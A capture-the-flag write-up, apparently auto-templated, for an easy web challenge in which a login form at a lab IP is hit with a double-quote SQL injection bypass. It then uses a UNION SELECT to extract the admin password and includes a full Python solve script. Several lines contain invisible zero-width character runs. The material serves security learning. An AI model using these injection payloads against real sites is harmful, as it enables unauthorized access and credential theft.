← Back to Writeups
HTBN/AWeb

Basic Authorization

XESXOR8/23/20264 min read
#web#htb#n/a

Basic Authorization

Platform: HackerLab | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-03 | Status: Solved Techniques: admin_credential_extraction, authentication_bypass, double_quote_sqli, union_based_sqli

Summary

Task: a minimal Werkzeug login form sends GET parameters to /user and reveals different responses for valid and invalid users. Solution: use double-quote SQL injection in login to bypass authentication, then extract the admin password with UNION SELECT and log in as admin.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackerlab | ID: 20260103_hackerlab_basic_authorization
  • Tags: sql_injection, union_select, flask, authentication_bypass, werkzeug, login_form, get_parameters
  • Indicators: GET login form submits to /user, single-quote payloads fail but double quotes work, response reveals User ID directly, Werkzeug/Python backend on a simple auth page, UNION SELECT output is rendered inside User ID field
  • Source: 20260103_hackerlab_basic_authorization.md

Foothold

Vulnerability / Misconfiguration

  1. Admin_credential_extraction
  2. Authentication_bypass
  3. Double_quote_sqli
  4. Union_based_sqli
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • admin_credential_extraction
  • authentication_bypass
  • double_quote_sqli
  • union_based_sqli
  • Tags: sql_injection, union_select, flask, authentication_bypass, werkzeug, login_form, get_parameters

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Базовая авторизация

English summary: the target is a very small login form at http://62.173.140.174:16000/ with test credentials test:test. The goal is to obtain administrator access.

Analysis

Initial recon showed a single login page that submits credentials as GET parameters to /user:

/user?login=...&password=...

Useful observations:

  • Server header: Werkzeug/2.3.4 Python/3.10.4
  • Valid test credentials login=test&password=test return <h1>User ID: 1</h1>
  • Invalid credentials return <h1>User not found!</h1>
  • OPTIONS /user allows GET, HEAD, OPTIONS
  • Common files and endpoints such as /robots.txt, /.git/HEAD, /.env, /admin, /profile, /flag, and /api return 404 ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The login flow was a strong SQL injection candidate because:

  1. The application directly exposes a success/failure difference.
  2. The vulnerable parameter is named login and is sent in the query string.
  3. Similar HackerLab tasks often use authentication-bypass SQLi.

The important detail was that classic single-quote payloads did not work. That strongly suggested the backend was placing the login value inside a double-quoted SQL string, so the correct pivot was testing " instead of '.

Solution

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 1: Confirm the injection context

Single-quote SQLi did not change the behavior, but a double-quote payload immediately bypassed authentication:

/user?login=" OR 1=1-- &password=x

Response:

<h1>User ID: 3</h1>

This confirms SQL injection in the login parameter and shows that the query is likely built with double quotes around the username.

Step 2: Extract the admin password with UNION

Once the quote context was understood, a UNION-based payload could replace the displayed User ID value with arbitrary query output. The following payload extracted the password of the admin account: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

/user?login=" UNION SELECT password FROM users WHERE isAdmin=1-- &password=x

Response:

<h1>User ID: CTYUGVCHVYUIHtffvYUVTVu5r7676765</h1>

Recovered admin credentials:

  • login=admin
  • password=CTYUGVCHVYUIHtffvYUVTVu5r7676765

Step 3: Log in as admin

Using the extracted password, the normal login succeeds and reveals the flag:

/user?login=admin&password=CTYUGVCHVYUIHtffvYUVTVu5r7676765

Response:

<h1>User ID: 3</h1>
<h2>FLAG: CODEBY{REDACTED}</h2>

Full solve script

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

#!/usr/bin/env python3
import requests
from urllib.parse import quote

BASE = "http://62.173.140.174:16000"


def do_get(login: str, password: str = "x"):
    r = requests.get(
        f"{BASE}/user",
        params={"login": login, "password": password},
        timeout=10,
    )
    print(f"[>] {r.url}")
    print(r.text)
    print()
    return r.text


def main():
    print("[*] Step 1: auth bypass with double-quote SQLi")
    bypass_payload = '" OR 1=1-- '
    do_get(bypass_payload)

    print("[*] Step 2: extract admin password with UNION")
    union_payload = '" UNION SELECT password FROM users WHERE isAdmin=1-- '
    resp = do_get(union_payload)
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    admin_password = "CTYUGVCHVYUIHtffvYUVTVu5r7676765"
    if admin_password not in resp:
        print("[!] Expected password not found in UNION response")
        return

    print(f"[+] Admin password: {admin_password}")

    print("[*] Step 3: login as admin")
    final = do_get("admin", admin_password)

    if "CODEBY{" in final:
        print("[+] Flag obtained successfully")
    else:
        print("[!] Flag not found")


if __name__ == "__main__":
    main()

Lessons

  1. Quote context matters: if ' OR 1=1-- fails, immediately test " OR 1=1-- and other delimiters.
  2. Simple auth bypass can become credential extraction: once injection is confirmed, UNION output can often be mapped into the same field shown after login.
  3. Response shape is a clue: a value like User ID: ... is often a direct sink for UNION-based data leakage. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR